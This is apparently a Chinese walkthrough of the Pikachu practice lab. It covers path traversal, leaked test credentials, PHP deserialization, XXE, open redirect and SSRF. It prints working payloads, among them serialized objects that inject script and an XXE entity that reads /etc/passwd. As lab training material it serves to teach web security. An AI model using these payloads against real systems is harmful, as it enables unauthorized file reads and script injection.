漏洞页面
漏洞利用
点击漏洞页面中的(1),(2)下方的超链接显示的都是一段文字,貌似是诗歌之类的。
实际上是向后台发送了一个文件名。我们可以修改文件名。修改成…/dir.php上级目录下的dir.php,发现可以访问,说明有路径穿越漏洞。
十一、敏感信息泄露
敏感信息泄露漏洞概述
敏感信息泄露概述
由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
1、通过访问url下的目录,可以直接列出目录下的文件列表;
2、输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
3、前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;
类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。
漏洞页面
漏洞利用
查看网页源代码,首页有个find abc的提示,在源代码里寻找账号信息。成功找到测试账号lili/密码123456的提示
使用测试的账号密码进行登录,登录成功,登录后显示了王小波的《黄金时代》经典的语句,话说我更喜欢他的另一部作品《一只特立独行的猪》
这里的漏洞应该是程序员在设计页面的时候,由于疏忽忘记删除测试账号的信息而造成的信息泄露。
十二、PHP反序列化
php反序列化漏洞概述
在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
#漏洞例子:
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
漏洞页面
漏洞利用
在漏洞页面输入框中输入正常的序列化字符串
#输入正常的序列化字符串
O:1:"S":1:{s:4:"test";s:7:"pikachu";}
因为这里没有对输入的数据进行过滤。可以结合XSS漏洞来构造我们的攻击字符串。
O:1:"S":1:{s:4:"test";s:30:"<script>alert('wuhu')</script>";}
源代码分析
源代码位置:
/vul/unserilization/unser.php
这里的表单接受序列化后的数据进行传递。
注意:PHP中的__construct()这个函数虽然在对象创建时会被调用,但反序列化(unserialize())的时候并不会被调用。当使用 unserialize() 函数从序列化的字符串中恢复对象时,构造函数 __construct() 不会被调用。这是因为在反序列化过程中,对象是从已有的数据恢复出来的,不需要再进行初始化。
所以这里的 __construct()
没有启动任何作用!!!
下面的代码是对输入的值进行判断,当输入的值为序列化后的值时,unserialize()可以对其进行反序列化,if条件判断为假,进入else。并没有对用户输入的序列化字符串进行过滤以及识别。
33行的代码意思是反序列化后的对象unser调用其属性 test,并且将值赋值给了 unser调用其属性test,并且将值赋值给了unser调用其属性test,并且将值赋值给了html,然后输出显示$html。
防御
- 对反序列化数据进行校验,在反序列化操作前,对输入的序列化字符串进行校验,过滤和验证,判断数据是否合法。
- 限制应用程序运行账户的权限,降低攻击者在利用反序列化漏洞的影响范围。
- 所以安全序列化机制,采用安全稳定的序列化协议
- 安全开发规范。
十三、XXE漏洞
XXE漏洞概述
xml是一种可拓展的标记语言,可以用来存储数据,例如:我们经常看到一些.xml的文件;它还可以用来传输数据,我们可以直接将数据以xml的格式放在请求当中,发给服务器。
漏洞页面
源代码分析
源代码位置:
/vul/xxe/xxe_1.php
先查看他的后端代码,我们可以看到他是通过post请求来获取到前端的xml数据,然后直接给simplexml_load_string()函数进行解析,然后将解析的数据再返回到前端,后端在接收xml数据时,开启了外部实体解析,而且也没对传来的数据做任何的过滤等安全措施。
漏洞利用
#构造payload
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "XXE hahaha">
]>
<name>&hacker;</name>
将payload在漏洞页面输入框中输入,点击提交,显示如下
可以看到直接将我们DTD中的值给返回了
可以在这里来构造一个恶意的payload,通过外部实体引用从而去获取后台服务器的本地文件信息(注:外部引用可以支持http,file,ftp等协议。)
#构造恶意payload
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
可以看到成功读取到目标主机中的密码文件
十四、URL重定向
URL重定向漏洞概述
url跳转比较直接的危害是:
–>钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站。
漏洞页面
首页有四个超链接,点击1、2行的没有反应,点击第3行跳转到刚刚的首页
点击第4行之后,页面下方出现文字(好的,希望你能坚持做你自己!),并且url地址栏发生变化
我们可以利用url重定向来构造一些恶意网站,执行跳转。
这里我让它跳转到baidu首页,进行测试,看看是否存在漏洞。
跳转成功,说明存在不安全的url跳转漏洞。
十五、SSRF漏洞
SSRF漏洞概述
15.1 SSRF(curl)
漏洞页面
漏洞利用
点击页面中的超链接,页面显示一首诗,观察url可以看到浏览器URL中它传了一个url参数
源代码分析
源代码位置:/vul/ssrf/ssrf_curl.php
打开后端源代码,可以看到它是从前端获取了url请求,curl_init函数会对它进行初始化,然后curl_exec函数会去执行请求,最终又将请求结果返回到前端。
我们可以通过传入一个其他的地址来演示。
在URL中传入百度的地址(www.baidu.com),可以看到页面显示出了百度的数据库 (它的流程和分析的源代码流程是一样的,前端传入参数,后端通过curl_exec去请求百度,最后把请求返回的百度数据返回到前端)
我们可以通过SSRF这个漏洞,对后端服务器同一个网络的其他服务器进行相关的扫描、探测,获取更多的资源,然后更进一步的进行攻击。
15.2 SSRF(file_get_content)
漏洞页面
漏洞利用
打开pikachu靶场,点击蓝色标签,可以看到和前面是一样的,都是通过URL上传参数到后台获取信息的
源代码分析
查看后端代码,它和前面的逻辑是一样的,不同的是它这里使用file_get_contents函数进行文件的读取执行,而file_get_contents函数可以对本地文件进行读取,也可以对远程文件进行读取。
我们可以像前面测试的一样,在URL中去输入百度的地址。它一样也会通过http协议去获取百度的资源
- 感谢你赐予我前进的力量